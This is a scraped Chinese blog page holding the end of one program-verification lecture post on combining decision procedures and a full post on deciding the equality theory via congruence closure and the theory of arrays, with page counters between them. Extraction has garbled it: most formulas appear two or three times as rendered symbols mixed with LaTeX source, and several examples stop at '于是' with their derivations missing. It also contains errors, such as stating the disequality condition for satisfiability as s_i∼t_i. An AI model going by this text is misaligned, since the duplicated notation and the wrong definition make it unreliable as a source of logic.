    F⇒z=vF\Rightarrow z=vF⇒z=v3.4.2 等价推导给定F1F_1F​1​​与F2F_2F​2​​

    让Ti(i=1,2)T_i (i=1,2)T​i​​(i=1,2)报告任何有关共享变量(包括u,vu, vu,v)的新推出的等价关系

    如果TiT_iT​i​​是凸的,令u=vu=vu=v为新推出的等价关系
    如果TiT_iT​i​​不是凸的,令⋁i(ui=vi)\bigvee_i (u_i = v_i)⋁​i​​(u​i​​=v​i​​)为推出的等价关系的析取

    将新推出的等价关系存储到EEE中(EEE是已经发现的等价关系的集合)

    如果TiT_iT​i​​是凸的,将u=vu=vu=v添加到EEE
    如果TiT_iT​i​​不是凸的,将搜索过程依据不同的析取⋁i(ui=vi)\bigvee_i(u_i = v_i)⋁​i​​(u​i​​=v​i​​) 分成不同的分支(通过在EEE中添加相应的等价关系)

    对于每一个分支,将EEE传播到另一个判定程序(也就是递归进行),重复以上步骤

    算法返回:

    satsatsat如果任一分支得到一个完整的arrangement
    unsatunsatunsat如果所有的分支都推出矛盾
    satsatsat如果所有的分支都不能发现新的等价关系

    3.4.3 举例考虑ΣE∪ΣQ\Sigma_E\cup \Sigma_QΣ​E​​∪Σ​Q​​-公式:
    F:f(f(x)−f(y))≠f(z)∧x≤y∧y+z≤x∧0≤zF:f(f(x)-f(y))\ne f(z)\wedge x\le y\wedge y+z\le x\wedge 0\le zF:f(f(x)−f(y))≠f(z)∧x≤y∧y+z≤x∧0≤z在第一步后,FFF被分为两个公式:
    FE:f(w)≠f(z)∧u=f(x)∧v=f(y)F_E:f(w)\ne f(z)\wedge u=f(x)\wedge v=f(y)F​E​​:f(w)≠f(z)∧u=f(x)∧v=f(y)FQ:x≤y∧y+z≤x∧0≤z∧w=u−vF_Q:x\le y\wedge y+z\le x\wedge 0\le z\wedge w=u-vF​Q​​:x≤y∧y+z≤x∧0≤z∧w=u−vV=shared(FE,FQ)={x,y,z,u,v,w}V=shared(F_E,F_Q)=\{x,y,z,u,v,w\}V=shared(F​E​​,F​Q​​)={x,y,z,u,v,w}注意,TET_ET​E​​与TQT_{Q}T​Q​​都是凸理论。
    于是

    考虑TE∪TZT_E\cup T_{Z}T​E​​∪T​Z​​-公式FFF:
    F:1≤x∧x≤2∧f(x)≠f(1)∧f(x)≠f(2)F:1\le x\wedge x\le 2\wedge f(x)\ne f(1)\wedge f(x)\ne f(2)F:1≤x∧x≤2∧f(x)≠f(1)∧f(x)≠f(2)在第一步后,FFF被分为两个公式:
    FE:f(x)≠f(w1)∧f(x)≠f(w2)F_E:f(x)\ne f(w_1)\wedge f(x)\ne f(w_2)F​E​​:f(x)≠f(w​1​​)∧f(x)≠f(w​2​​)FZ:1≤x∧x≤2∧w1=1∧w2=2F_{Z} :1\le x\wedge x\le 2\wedge w_1=1\wedge w_2=2F​Z​​:1≤x∧x≤2∧w​1​​=1∧w​2​​=2V=shared(FE,FZ)={w1,w2,x}V=shared(F_E,F_{Z})=\{w_1,w_2,x\}V=shared(F​E​​,F​Z​​)={w​1​​,w​2​​,x}注意,TET_ET​E​​是凸的,TZT_{Z}T​Z​​不是。
    于是

    考虑TE∪TZT_E\cup T_{Z}T​E​​∪T​Z​​-公式FFF:
    F:1≤x∧x≤3∧f(x)≠f(1)∧f(x)≠f(3)∧f(1)≠f(2)F: 1\le x\wedge x\le 3\wedge f(x)\ne f(1)\wedge f(x)\ne f(3)\wedge f(1)\ne f(2)F:1≤x∧x≤3∧f(x)≠f(1)∧f(x)≠f(3)∧f(1)≠f(2)在第一步后,FFF被分为两个公式:
    FE:f(x)≠f(w1)∧f(x)≠f(w3)∧f(w1)≠f(w2)F_E:f(x)\ne f(w_1)\wedge f(x)\ne f(w_3)\wedge f(w_1)\ne f(w_2)F​E​​:f(x)≠f(w​1​​)∧f(x)≠f(w​3​​)∧f(w​1​​)≠f(w​2​​)FZ:1≤x∧x≤3∧w1=1∧w2=2∧w3=3F_{Z}:1\le x\wedge x\le 3\wedge w_1=1\wedge w_2=2\wedge w_3=3F​Z​​:1≤x∧x≤3∧w​1​​=1∧w​2​​=2∧w​3​​=3V=shared(FE,FZ)={w1,w2,w3,x}V=shared(F_E,F_{Z})=\{w_1,w_2,w_3,x\}V=shared(F​E​​,F​Z​​)={w​1​​,w​2​​,w​3​​,x}注意,TET_ET​E​​是凸的,TZT_{Z}T​Z​​不是。
    于是
    0 留言 2020-06-30 13:27:01 奖励30点积分
  • 程序验证(五):一阶理论的过程


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106622963

    主要讨论TET_ET​E​​的量词自由片段以及TAT_AT​A​​
    一、等价理论的判定1.1 等价及未解释函数理论(Theory of Equality and Uninterpreted Functions)除=外的谓词实际上使我们的讨论不必要地复杂化,去除这些累赘谓词的方法如下:

    对每个谓词ppp,引入一个新的(fresh)函数符号fpf_pf​p​​
    引入一个新的常量∙\bullet∙
    将每个谓词实例p(t1,..,tn)p(t_1 ,.., t_n)p(t​1​​,..,t​n​​)替换为fp(t1,..,tn)=∙f_p(t_1 ,.., t_n)=\bulletf​p​​(t​1​​,..,t​n​​)=∙,这样就得到了等价及未解释函数理论(EUF):

    EUF中唯一的谓词就是=所有的公理都是相等或不等

    转化方法举例:
    x=y→(p(x)↔p(y))x=y\to (p(x)\leftrightarrow p(y))x=y→(p(x)↔p(y))
    转化为:
    x=y→((fp(x)=∙)↔(fp(y)=∙))x=y\to ((f_p (x)=\bullet)\leftrightarrow (f_p (y)=\bullet))x=y→((f​p​​(x)=∙)↔(f​p​​(y)=∙))
    p(x)∧q(x,y)∧q(y,z)→¬q(x,z)p(x)\wedge q(x,y)\wedge q(y,z)\to \neg q(x,z)p(x)∧q(x,y)∧q(y,z)→¬q(x,z)
    转化为:
    (fp(x)=∙∧fq(x,y)=∙∧fq(y,z)=∙)→fq(x,z)≠∙(f_p(x)=\bullet \wedge f_q(x,y)=\bullet \wedge f_q(y,z)=\bullet) \to f_q(x,z)\ne \bullet(f​p​​(x)=∙∧f​q​​(x,y)=∙∧f​q​​(y,z)=∙)→f​q​​(x,z)≠∙
    1.2 一些概念1.2.1 关系(relation)给定SSS上的二元关系RRR,∀s1,s2∈S\forall s_1,s_2\in S∀s​1​​,s​2​​∈S,或者s1Rs2s_1Rs_2s​1​​Rs​2​​或者¬(s1Rs2)\neg (s_1Rs_2)¬(s​1​​Rs​2​​)。
    一个二元关系RRR若满足以下三个性质,即为一个等价关系(equivalence relation):

    自反性:∀x∈S.sRs\forall x\in S.sRs∀x∈S.sRs
    对称性:∀s1,s2∈S.s1Rs2→s2Rs1\forall s_1,s_2\in S.s_1Rs_2\to s_2Rs_1∀s​1​​,s​2​​∈S.s​1​​Rs​2​​→s​2​​Rs​1​​
    传递性:∀s1,s2,s3∈S.s1Rs2∧s2Rs3→s1Rs3\forall s_1,s_2,s_3\in S.s_1Rs_2 \wedge s_2Rs_3 \to s_1Rs_3∀s​1​​,s​2​​,s​3​​∈S.s​1​​Rs​2​​∧s​2​​Rs​3​​→s​1​​Rs​3​​

    一个二元关系RRR是同余关系(congruence relation),如果它除以上三个性质外,还满足函数同余性:
    ∀s,t∈Sn.(⋀i=1nsiRti)→f(s)Rf(t)\forall s,t \in S^n .(\bigwedge ^n_{i=1} s_iRt_i)\to f(s)Rf(t)∀s,t∈S​n​​.(⋀​i=1​n​​s​i​​Rt​i​​)→f(s)Rf(t)1.2.2 类(class)令RRR为SSS上的一个等价关系,则s∈Ss\in Ss∈S在RRR下的等价类(equivalence class)为:
    [s]R≡{s′∈S:sRs′}[s] _R \equiv \{s'\in S:sRs'\}[s]​R​​≡{s​′​​∈S:sRs​′​​}SSS中的每个元素都属于RRR的一个等价类。如果RRR是同余关系,那么[s]R[s]_R[s]​R​​ 是sss的同余类。
    举例:Consider the relation ≡2\equiv _2≡​2​​ over ZZZ, where a≡2ba\equiv _2 ba≡​2​​b iff (a mod 2)=(b mod 2)(a \space mod \space 2)=(b \space mod \space 2)(a mod 2)=(b mod 2). The equivalence class of 4 under ≡2\equiv_2≡​2​​ is:
    [4]≡2={n∈Z:(nmod2)=0}={n∈Z:n is even}[4]_{\equiv_2} = \{n\in Z: (n mod 2)=0\}=\{n\in Z : n~is~even\}[4]​≡​2​​​​={n∈Z:(nmod2)=0}={n∈Z:n is even}1.2.3 分割(partition)SSS的一个分割PPP是一个SSS的子集的集合,满足:

    total:(⋃S′∈PS′)=S(\bigcup _{S^{\prime} \in P} S^{\prime} )=S(⋃​S​′​​∈P​​S​′​​)=S
    disjoint:∀S1,S2∈P.S1≠S2→S1∩S2=∅\forall S_1, S_2 \in P.S_1\ne S_2\to S_1 \cap S_2 = \varnothing∀S​1​​,S​2​​∈P.S​1​​≠S​2​​→S​1​​∩S​2​​=∅

    等价关系RRR 产生了SSS的一个分割,叫做SSS除以RRR的商,也就是:
    S/R={[s]R:s∈S}S/R = \{[s]_R : s\in S\}S/R={[s]​R​​:s∈S}例如,商Z/≡2Z /\equiv_2Z/≡​2​​即为这个分割:
    {{n∈Z: n is odd},{n∈Z: n is even}}\{\{n\in Z :~n~is~odd\},\{n\in Z:~n~is~even\}\}{{n∈Z: n is odd},{n∈Z: n is even}}1.2.4 关系的精化(refinement)给定SSS上两个关系R1R_1R​1​​和R2R_2R​2​​,我们说R1R_1R​1​​精化了R2R_2R​2​​,写作R1≺R2R_1 \prec R_2R​1​​≺R​2​​,如果满足条件:
    ∀s1,s2∈S.s1R1s2→s1R2s2\forall s_1, s_2\in S.s_1R_1s_2 \to s_1R_2s_2∀s​1​​,s​2​​∈S.s​1​​R​1​​s​2​​→s​1​​R​2​​s​2​​我们可以把二元关系RRR视为一个对(pair)的集合R^\hat{R}​R​^​​,也就是:
    ∀s1,s2∈S, if s1Rs2, then (s1,s2)∈R^\forall s_1,s_2 \in S,~if~s_1Rs_2,~then~(s_1,s_2)\in \hat{R}∀s​1​​,s​2​​∈S, if s​1​​Rs​2​​, then (s​1​​,s​2​​)∈​R​^​​于是我们知道R1≺R2R_1 \prec R_2R​1​​≺R​2​​当且仅当R^1⊆R^2\hat{R}_1 \subseteq \hat{R}_2​R​^​​​1​​⊆​R​^​​​2​​。
    举例:
    R1:{sR1s:s∈S}R_1:\{sR_1s:s\in S\}R​1​​:{sR​1​​s:s∈S}R2:{s1R2s2:s1,s2∈S}R_2:\{s_1R_2s_2:s_1,s_2\in S\}R​2​​:{s​1​​R​2​​s​2​​:s​1​​,s​2​​∈S}那么
    R1≺R2R_1 \prec R_2R​1​​≺R​2​​1.2.5 等价闭包(equivalence closure)一个SSS上的关系RRR的等价闭包RER^ER​E​​是这样的一个等价关系,满足:

    其中RRR精化RER^ER​E​​:R≺RER\prec R^ER≺R​E​​
    对于其他满足R≺R′R\prec R^{\prime}R≺R​′​​的等价关系R′R^{\prime}R​′​​,或者R′=RER^{\prime}=R^ER​′​​=R​E​​或者RE≺R′R^E \prec R^{\prime}R​E​​≺R​′​​ 。也就是说,RER^ER​E​​是包含RRR的最小的等价关系。

    与之相似,RRR的同余闭包(congruence closure)RCR^CR​C​​是包含RRR的最小同余关系。
    等价闭包的构造的一个例子:
    有一个论域S={a,b,c,d}S=\lbrace a,b,c,d \rbraceS={a,b,c,d},一个关系RRR满足:
    aRb,bRc,dRdaRb,bRc,dRdaRb,bRc,dRd为了构造RER^ER​E​​,根据定义逐步构造:

    最后
    RE={(a,b),(b,a),(a,a),(b,b),(b,c),(c,a),(c,b),(c,c),(d,d)}R^E = \{(a,b),(b,a),(a,a),(b,b),(b,c),(c,a),(c,b),(c,c),(d,d)\}R​E​​={(a,b),(b,a),(a,a),(b,b),(b,c),(c,a),(c,b),(c,c),(d,d)}1.3 等价理论的判定TET_ET​E​​的量词自由片段是可判定的
    1.3.1 核心逻辑给定一个TET_ET​E​​-公式FFF:
    F:(s1=t1)∧..∧(sm=tm)∧(sm+1≠tm+1)∧..∧(sn≠tn)F:(s_1 = t_1)\wedge .. \wedge (s_m = t_m)\wedge(s_{m+1}\ne t_{m+1})\wedge .. \wedge (s_n \ne t_n)F:(s​1​​=t​1​​)∧..∧(s​m​​=t​m​​)∧(s​m+1​​≠t​m+1​​)∧..∧(s​n​​≠t​n​​)FFF是TET_ET​E​​-可满足的,当且仅当存在一个同余关系∼\sim∼,使得:

    对每个i∈{1,..,m}i\in \lbrace 1,.. ,m \rbracei∈{1,..,m}, si∼tis_i \sim t_is​i​​∼t​i​​
    对每个i∈{m+1,..,n}i\in \lbrace m+1,.. ,n \rbracei∈{m+1,..,n}, si∼tis_i \sim t_is​i​​∼t​i​​

    这样一个同余关系定义了FFF的TET_ET​E​​-解释(D,I)(D,I)(D,I):

    其中DDD由∼\sim∼的同余类构成
    其中IIII将DDD的元素赋值给FFF的子项(subterm)来满足∼\sim∼
    其中III赋值了=,一个与∼\sim∼相似的关系

    我们把(D,I)⊨F(D,I)\models F(D,I)⊨F简记为∼⊨F\sim \models F∼⊨F。
    1.3.2 同余闭包算法令SFS_FS​F​​为FFF的子项,∼\sim∼是SFS_FS​F​​上的关系,那么该算法如下:

    在子项集合SFS_FS​F​​上构造{s1=t1,..,s+m=tm}\lbrace s_1=t_1,.. ,s+m=t_m \rbrace{s​1​​=t​1​​,..,s+m=t​m​​}的同余闭包~
    如果对于任何i∈{m+1,..,n}i\in \lbrace m+1,.. ,n \rbracei∈{m+1,..,n},si∼tis_i \sim t_is​i​​∼t​i​​,那么返回unsatunsatunsat
    否则,返回satsatsat

    第一步中,构造同余闭包的方法如下:

    从“最好”的同余关系开始∼0={{s}:s∈SF}\sim 0 = \lbrace \lbrace s \rbrace :s\in S_F \rbrace∼0={{s}:s∈S​F​​},这里SFS_FS​F​​每个子项都在它本身构成的同余类里
    对于每个i∈{1,..,m}i\in \lbrace 1,.. , m \rbracei∈{1,..,m},通过把si=tis_i = t_is​i​​=t​i​​加入∼i−1\sim _{i-1}∼​i−1​​构造∼i\sim _i∼​i​​

    将同余类[si]∼i−1[s_i]_{\sim _{i-1}}[s​i​​]​∼​i−1​​​​和[ti]∼i−1[t_i]_{\sim _{i-1}}[t​i​​]​∼​i−1​​​​merge起来
    将任何通过以上步骤产生的新的同余关系传递下去


    举例:判断以下公式的可满足性
    F:f(a,b)=a∧f(f(a,b),b)≠aF: f(a,b) = a\wedge f(f(a,b),b)\ne aF:f(a,b)=a∧f(f(a,b),b)≠a建立子项集合SFS_FS​F​​:
    SF={a,b,f(a,b),f(f(a,b),b)}S_F = \{a,b,f(a,b),f(f(a,b),b)\}S​F​​={a,b,f(a,b),f(f(a,b),b)}构造SFS_FS​F​​上的“最好”的闭包关系:
    {{a},{b},{f(a,b)},{f(f(a,b),b)}}\{\{a\},\{b\},\{f(a,b)\},\{f(f(a,b),b)\}\}{{a},{b},{f(a,b)},{f(f(a,b),b)}}对于每个i∈{1,..,m}i\in \lbrace 1,.. ,m \rbracei∈{1,..,m},将同余类[si]∼i−1[s_i]_{\sim _{i-1}}[s​i​​]​∼​i−1​​​​和[ti]∼i−1[t_i]_{\sim_{i-1}}[t​i​​]​∼​i−1​​​​merge起来,这里由f(a,b)=af(a,b)=af(a,b)=a得到:
    {{a,f(a,b)},{b},{f(f(a,b),b)}}\{\{a,f(a,b)\},\{b\},\{f(f(a,b),b)\}\}{{a,f(a,b)},{b},{f(f(a,b),b)}}每次merge之后,使用公理以推进,由f(a,b)∼a,b∼bf(a,b)\sim a,b\sim bf(a,b)∼a,b∼b,有f(f(a,b),b)∼f(a,b)f(f(a,b),b)\sim f(a,b)f(f(a,b),b)∼f(a,b),从而:
    {{a,f(a,b),f(f(a,b),b)},{b}}\{\{a,f(a,b),f(f(a,b),b)\},\{b\}\}{{a,f(a,b),f(f(a,b),b)},{b}}这也就是SFS_FS​F​​的同余闭包。
    FFF是TET_ET​E​​-不可满足的,因为f(f(a,b),b)∼af(f(a,b),b)\sim af(f(a,b),b)∼a而FFF声称f(f(a,b),b)≠af(f(a,b),b)\ne af(f(a,b),b)≠a。
    判断以下公式的可满足性:
    F:f(f(f(a)))=a∧f(f(f(f(f(a)))))=a∧f(a)≠aF:f(f(f(a)))=a\wedge f(f(f(f(f(a)))))=a\wedge f(a)\ne aF:f(f(f(a)))=a∧f(f(f(f(f(a)))))=a∧f(a)≠a建立子项集合SFS_FS​F​​
    SF={a,f(a),f2(a),f3(a),f4(a),f5(a)}S_F = \{a,f(a),f^2(a),f^3(a),f^4(a),f^5(a)\}S​F​​={a,f(a),f​2​​(a),f​3​​(a),f​4​​(a),f​5​​(a)}构造SFS_FS​F​​ 上的初始同余关系:
    {{a},{f(a)},{f2(a)},{f3(a)},{f4(a)},{f5(a)}}\{\{a\},\{f(a)\},\{f^2(a)\},\{f^3(a)\},\{f^4(a)\},\{f^5(a)\}\}{{a},{f(a)},{f​2​​(a)},{f​3​​(a)},{f​4​​(a)},{f​5​​(a)}}由f3(a)=af^3(a) = af​3​​(a)=a,合并{f3(a)}\lbrace f^3(a) \rbrace{f​3​​(a)}和{a}\lbrace a \rbrace{a}:
    {{a,f3(a)},{f(a)},{f2(a)},{f4(a)},{f5(a)}}\{\{a,f^3(a)\},\{f(a)\},\{f^2(a)\},\{f^4(a)\},\{f^5(a)\}\}{{a,f​3​​(a)},{f(a)},{f​2​​(a)},{f​4​​(a)},{f​5​​(a)}}由f3(a)∼af^3(a)\sim af​3​​(a)∼a,推导出f4(a)∼f(a)f^4(a)\sim f(a)f​4​​(a)∼f(a):
    {{a,f3(a)},{f(a),f4(a)},{f2(a)},{f5(a)}}\{\{a,f^3(a)\},\{f(a),f^4(a)\},\{f^2(a)\},\{f^5(a)\}\}{{a,f​3​​(a)},{f(a),f​4​​(a)},{f​2​​(a)},{f​5​​(a)}}由f4(a)∼f(a)f^4(a)\sim f(a)f​4​​(a)∼f(a),推导出f5(a)∼f2(a)f^5(a)\sim f^2(a)f​5​​(a)∼f​2​​(a):
    {{a,f3(a)},{f(a),f4(a)},{f2(a),f5(a)}}\{\{a,f^3(a)\},\{f(a),f^4(a)\},\{f^2(a),f^5(a)\}\}{{a,f​3​​(a)},{f(a),f​4​​(a)},{f​2​​(a),f​5​​(a)}}由f5(a)=af^5(a)=af​5​​(a)=a,合并{f2(a),f5(a)}\lbrace f^2(a),f^5(a) \rbrace{f​2​​(a),f​5​​(a)}:
    {{a,f2(a),f3(a),f5(a)},{f(a),f4(a)}}\{\{a,f^2(a),f^3(a),f^5(a)\},\{f(a),f^4(a)\}\}{{a,f​2​​(a),f​3​​(a),f​5​​(a)},{f(a),f​4​​(a)}}由f3(a)∼f2(a)f^3(a)\sim f^2(a)f​3​​(a)∼f​2​​(a),推导出f4(a)∼f3(a)f^4(a)\sim f^3(a)f​4​​(a)∼f​3​​(a):
    {{a,f(a),f2(a),f3(a),f4(a),f5(a)}}\{\{a,f(a),f^2(a),f^3(a),f^4(a),f^5(a)\}\}{{a,f(a),f​2​​(a),f​3​​(a),f​4​​(a),f​5​​(a)}}这就是SFS_FS​F​​的同余闭包。
    由FFF声称f(a)≠af(a)\ne af(a)≠a,而f(a)∼af(a)\sim af(a)∼a,所以unsatunsatunsat。
    实现同余闭包算法的底层算法:并查集
    1.3.3 性质
    可靠性与完备性:如果同余闭包算法返回satsatsat那么量词自由的FFF就是TE−satT_E-satT​E​​−sat的
    复杂度:O(e2)O(e^2)O(e​2​​)(参见并查集算法)

    二、数组的判定理论2.1 核心逻辑将TAT_AT​A​​可满足性判定归约为TET_ET​E​​可满足性判定。
    如果一个ΣZ\Sigma_ZΣ​Z​​-公式FFF不包含任何写项:

    将每个数组变量aaa与一个新的(fresh)函数符号faf_af​a​​关联起来
    将每个读项a[i]a[i]a[i]替换为fa(i)f_a(i)f​a​​(i)判断并返回得到的公式的TET_ET​E​​可满足性;否则,取一个项a⟨i◃v⟩[j]a\langle i\triangleleft v\rangle [j]a⟨i◃v⟩[j],并分为两种情况:

    将F[a⟨i◃v⟩[j]]F[a\langle i\triangleleft v\rangle [j]]F[a⟨i◃v⟩[j]]替换为F1:F[v]∧i=jF_1:F[v]\wedge i=jF​1​​:F[v]∧i=j
    将F[a⟨i◃v⟩[j]]F[a\langle i\triangleleft v\rangle [j]]F[a⟨i◃v⟩[j]]替换为F2:F[a[j]]∧i≠jF_2:F[a[j]]\wedge i\ne jF​2​​:F[a[j]]∧i≠j

    递归地对F1F_1F​1​​于F2F_2F​2​​做以上处理。只要有一个分支是satsatsat,那么返回satsatsat
    否则,返回unsatunsatunsat

    举例:判断以下公式的可满足性
    F:i1=j∧i1≠i2∧a[j]=v1∧a⟨i1◃v1⟩⟨i2◃v2⟩[j]≠a[j]F:i_1 = j\wedge i_1\ne i_2 \wedge a[j]=v_1 \wedge a\langle i_1 \triangleleft v_1 \rangle \langle i_2 \triangleleft v_2 \rangle [j]\ne a[j]F:i​1​​=j∧i​1​​≠i​2​​∧a[j]=v​1​​∧a⟨i​1​​◃v​1​​⟩⟨i​2​​◃v​2​​⟩[j]≠a[j]由FFF本身知,i2≠ji_2 \ne ji​2​​≠j:
    F2:i1=j∧i1≠i2∧a[j]=v1∧a⟨i1◃v1⟩[j]≠a[j]∧i2≠jF_2:i_1=j\wedge i_1\ne i_2\wedge a[j] = v_1\wedge a\langle i_1\triangleleft v_1\rangle [j]\ne a[j]\wedge i_2\ne jF​2​​:i​1​​=j∧i​1​​≠i​2​​∧a[j]=v​1​​∧a⟨i​1​​◃v​1​​⟩[j]≠a[j]∧i​2​​≠j其中有一个写项,所以分为两种情况:
    F3:i1=j∧i1≠i2∧a[j]=v1∧v1≠a[j]∧i2≠j∧i1=jF_3:i_1 =j\wedge i_1\ne i_2 \wedge a[j]=v_1 \wedge v_1\ne a[j]\wedge i_2\ne j\wedge i_1 =jF​3​​:i​1​​=j∧i​1​​≠i​2​​∧a[j]=v​1​​∧v​1​​≠a[j]∧i​2​​≠j∧i​1​​=jF4:i1=j∧i1≠i2∧a[j]=v1∧a[j]≠a[j]∧i2≠j∧i1≠jF_4:i_1=j\wedge i_1\ne i_2\wedge a[j]=v_1 \wedge a[j]\ne a[j]\wedge i_2\ne j\wedge i_1\ne jF​4​​:i​1​​=j∧i​1​​≠i​2​​∧a[j]=v​1​​∧a[j]≠a[j]∧i​2​​≠j∧i​1​​≠j二者都是不可满足的。
    所有的分支都是unsatunsatunsat,所以得出结论:FFF是TAT_AT​A​​-不可满足的。
    2.2 性质
    可靠性与完备性:给定一个ΣA\Sigma_AΣ​A​​公式FFF,以上判定算法返回satsatsat当且仅当FFF是TAT_AT​A​​-可满足的,否则,它返回unsatunsatunsat
    复杂度:这是一个NP完全问题
    0 留言 2020-06-30 11:37:13 奖励30点积分
显示 0 到 15 ,共 15 条
eject